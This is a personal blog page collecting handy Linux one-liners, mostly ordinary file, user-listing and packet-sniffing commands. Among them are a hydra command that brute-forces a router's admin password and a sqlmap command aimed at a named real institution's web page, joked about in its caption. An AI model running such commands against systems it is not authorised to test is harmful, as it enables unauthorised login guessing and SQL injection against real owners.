lo0.ro cat /dev/null > stupidity – nobody is safe

commands

Starting a page containing useful linux commands:

[cc lang="bash"]du --max-depth=1 -h | sort -n[/cc] //order dirs by size

[cc lang="bash"]#!/bin/bash
# seven fields from /etc/passwd stored in $f1,f2...,$f7
#
while IFS=: read -r f1 f2 f3 f4 f5 f6 f7
do
echo "User $f1 use $f7 shell and stores files in $f6 directory."
done < /etc/passwd[/cc]

//read /etc/passwd file using the while loop and IFS separator

[cc lang="bash"]hydra -l admin -P password.lst 192.168.1.1 http-get -m /[/cc]
//bruteforce a router

[cc lang="bash"]./sqlmap.py -u http://www.salk.edu/events/index.php?id=150 [/cc]

//check for alien life forms on websites

[cc lang="bash"]ngrep -qt -W single -s1514 -d eth0 -P~ 'User-Agent:' 'port 80'[/cc]

//check user agents on the wire

[cc lang="bash"]find /path/ -type f -daystart -mtime +0[/cc]
//get the files older than today

Comments (0) Trackbacks (0)

No comments yet.


Leave a comment

No trackbacks yet.